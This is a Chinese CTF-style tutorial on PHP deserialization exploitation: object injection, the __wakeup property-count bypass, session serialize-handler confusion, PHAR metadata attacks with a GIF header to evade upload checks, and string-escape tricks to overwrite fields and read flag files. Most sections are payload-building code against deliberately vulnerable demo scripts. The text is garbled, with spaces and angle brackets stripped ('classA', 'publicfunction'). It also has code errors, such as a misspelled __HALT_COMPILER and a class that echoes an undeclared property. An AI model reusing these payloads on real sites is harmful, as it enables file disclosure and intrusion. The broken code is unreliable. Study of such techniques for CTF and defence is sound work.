PHP反序列化及绕过
PHP反序列化及绕过
最简单的反序列化
?php
require_once('flag.php');
highlight_file(__FILE__);
classA{
private$user = 'test';
function__destruct(){
if($this->user == 'admin') {
var_dump($GLOBALS);
}
}
}
$data = $_GET['data'];
unserialize($data);
当我们反序列化后user为admin时输出$GLOBALS,输出当前php页面全局变量
我们构造payload如下
?php
classA{
private$user = 'admin';
}
echourlencode(serialize(newA()));
运行获得url编码序列化后的值为O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00user%22%3Bs%3A5%3A%22admin%22%3B%7D
将其赋值给data后即可输出全局变量
__wakeup绕过
在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10
php源码
?php
highlight_file(__FILE__);
classA{
private$filename = 'test.txt';
publicfunction__wakeup() {
$this->filename = 'test.txt';
}
publicfunction__destruct() {
echofile_get_contents($this->filename);
}
}
$data = $_GET['data'];
unserialize($data);
php语言的特性为在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法
也就是说当我们使用payload
?php
classA{
private$filename = 'flag.php';
}
echourlencode(serialize(newA()));
O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
去反序列化时
结果为
可以发现我们在反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt
绕过__wakeup()函数时将对象属性个数的值大于真实的属性个数时即可绕过
即O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
改为,只需要将对象个数大于1即可,2,3,4等等都行,这里我使用2
O%3A1%3A%22A%22%3A2%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
即可获取想要的文件的内容
private protect变量构造
如最开始
在构造payload时
将所得的payload进行url编码即可
Session反序列化漏洞
PHP中的Session经序列化后存储,读取时再进行反序列化。
相关配置:
session.save_path="" //设置session的存储路径
session.save_handler="" //设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen //指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string //定义用来序列化/反序列化的处理器名字。默认使用php
PHP有3种序列化处理器
处理器 | 对应的存储格式 |
php | 键名+竖线(|)+经过serialize()函数处理过的值 |
php_binary | 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 |
php_serialize | 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化 |
代码
?php
session_start();
$_SESSION['test'] = $_REQUEST['test'];
echosession_id();
执行后可以看到
命名方式为sess_session_id()
存储内容为序列化后的session:test|s:4:"test";
不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的session序列化格式不同,就可能产生反序列化漏洞
因为index.php与session.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的
也就是说将数据通过session.php序列化后将数据存入的文件与index.php反序列化获取反序列化值的文件相同
从而达到反序列化攻击的目的
index.php
?php
ini_set('session.serialize_handler', 'php');
session_start();
classA {
public$user = 'test.txt';
function__wakeup() {
echo"__wakeupbr/>";
}
function__destruct() {
echo$this->filename;
}
}
generate.php
?php
classA{
public$filename = 'flag.php';
}
echoserialize(newA);
session.php
?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test'] = $_REQUEST['test'];
echosession_id();
首先通过generate.php构造payload
O:1:"A":1:{s:8:"filename";s:8:"flag.php";}
将O:1:"A":1:{s:8:"filename";s:8:"flag.php";}前面加一个|
即可将反序列化的值存入到session中使index.php反序列化
即可完成session反序列化攻击
PHAR利用
1、PHAR简介
PHAR ("PHp ARchive")是PHP里类似于JAR的一种打包文件,在PHP5.3或更高版本默认开启,这个特性使得PHP也可以像Java一样方便地实现应用程序打包和组件化,一个应用程序可以打成一个PHAR包,直接方法PHP-FPM中运行
2、PHAR文件结构
PHAR文件由3或4个部分组成
(1) stub //phar文件头
stub就是一个简单的php文件,最简文件头为:
?php__HALF_COMPILER(); ?>
文件头中必须包含__HALF_COMPILER()除此之外没有限制。(PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测)
(2)manifest describing the contents //PHAR文件描述该部分存储文件名、文件大小等信息,如下图所示
图中标出的地方,存储了经serialize()的Meta-data,有序列化过程必有反序列化过程,这就是我们的注入点
(3) the file contents
PHAR文件内容
(4) [optional] a signature for verifying Phar integrity (phar file format only) // 可选的签名部分, 支持MD5和SHA1
攻击方法
2018年Black Hat研究院Sam Thomas的议题:
It’s a PHP unserialization vulnerability Jim, but not as we know it提供了一种新的php反序列化攻击姿势。PHAR文件的Meta-data可以是任何能够序列化的PHP对象,当PHAR文件被任何文件系统函数首次通过phar://协议解析时Meta-data部分会被反序列化,这个反序列化过程就是我们的攻击点,Meta-data部分填充payload。
漏洞利用条件:
在目标系统上投放一个装在payload的可访问的PHAR文件,通过文件系统函数利用phar://伪协议解析目标PHAR文件。
注意:要将php.ini中的phar.readonly选项设置为off,否则无法生成phar文件
testPhar.php
?php
classA {
}
$phar = newPhar('phar.phar'); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("?php __HALT_COMPILER(); ?>"); //设置stub
$o = newA();
$o->data = 'cmacckk';
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString('test.txt', 'test'); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>
可以从箭头中看到序列化后结果
箭头标出Meta-data部分,可以看到为序列化后结果
index.php
?php
classA {
function__destruct() {
echo"br>destruct called";
}
}
$filename = "phar://phar.phar/test.txt";
echofile_get_contents($filename);
可以看到输出了之前打包的phar文件中,test.txt文件的内容test,并成功实例化A对象,调用了析构函数(__destruct)
由于PHP仅通过stub部分判断文件是否为PHAR文件,我们可以通过添加文件头、修改后缀的方式绕过上传检测
?php
classA {
}
$phar = newPhar('phar.phar'); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头绕过
$o = newA();
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString('test.txt', 'test'); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>
PHP反序列化字符串逃逸(变长)
示例代码
?php
highlight_file(__FILE__);
require_once('flag.php');
functionwaf($str) {
returnstr_replace('bb', 'ccc', $str);
}
classA {
public$name = 'admin';
public$pass = '123456';
}
$c = unserialize(waf(serialize(newA())));
if($c->pass === 'admin') {
echo$flag;
} else{
echo"no no no";
}
在代码中,当$pass为admin时,才会输出flag
在这里有一个函数waf
waf函数会将bb变为ccc
即bb会变为ccc,在这个过程中反序列化时便会少读取一个字符
使用test.php查看当前序列化结果
?php
functionwaf($str) {
returnstr_replace('bb', 'ccc', $str);
}
classA {
public$name = 'admin';
public$pass = '123456';
}
$c = (serialize(newA()));
echo$c;
我们要让红线部分的数据修改为admin,在代码里修改
?php
functionwaf($str) {
returnstr_replace('bb', 'ccc', $str);
}
classA {
public$name = 'admin';
public$pass = 'admin';
}
$c = (serialize(newA()));
echo$c;
所以我们要逃逸的字符串为";s:4:"pass";s:5:"admin";}
按照一个bb转变为ccc会逃逸1个字符,如果我们要逃逸26个字符,那么我们需要26个bb
所以生成的name值为bbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:5:"admin";}
生成payload
?php
highlight_file(__FILE__);
require_once('flag.php');
functionwaf($str) {
returnstr_replace('bb', 'ccc', $str);
}
classA {
public$name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:5:"admin";}';
public$pass = '123456';
}
echo"br>serialize a:br>" . serialize(newA()) . "br>";
echo"waf serialize a:br>" . waf(serialize(newA())) . "br>";
$c = unserialize(waf(serialize(newA())));
if($c->pass === 'admin') {
echo$flag;
} else{
echo"no no no";
}
可以看到在经过waf函数后,逃逸后的反序列化长度符合,可以正常反序列化,反序列化}前的值
最终改变了$pass的值获取flag
PHP反序列化字符串逃逸(变短)
?php
require_once('flag.php');
highlight_file(__FILE__);
functionwaf($str) {
returnpreg_replace("/ctf|flag/i", "", $str);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['year'] = '2021';
$tmp = waf(serialize($test));
echo"br>" . $tmp . "br>";
$result = unserialize($tmp);
echo$result['year'];
if($result['year'] === '2100') {
echo$flag;
}
第一步
首先我们要明确要逃逸的字符串
在这里要时year为2100,所以我们构造payload
?php
functionwaf($str) {
returnpreg_replace("/ctf|flag/i", "", $str);
}
$test['name'] = 'cmacckk';
$test['sign'] = 'test';
$test['year'] = '2100';
echoserialize($test) . " ";
$tmp = waf(serialize($test));
echo$tmp;
我们需要逃逸这个部分
第二步
我们需要在这个字符串之前添加一个字符或字符串
这里我添加一个C
将sign的值改为"C;s:4:"sign";s:4:"test";s:4:"year";s:4:"2100";}
?php
functionwaf($str) {
returnpreg_replace("/ctf|flag/i", "", $str);
}
$test['name'] = 'cmacckk';
$test['sign'] = 'C";s:4:"sign";s:4:"test";s:4:"year";s:4:"2100";}';
$test['year'] = '2100';
echoserialize($test);
运行
第三步
查看";s:4:"sign";s:48:"C的长度
发现长度为20
在这里的waf函数中,将ctf或flag替换为'',所以一个ctf能逃逸3个字符,一个flag能逃逸4个字符
我们需要逃逸20个字符
则仅需要5个flag即可
最终传值结果为
参考https://www.cnblogs.com/ichunqiu/p/10484832.html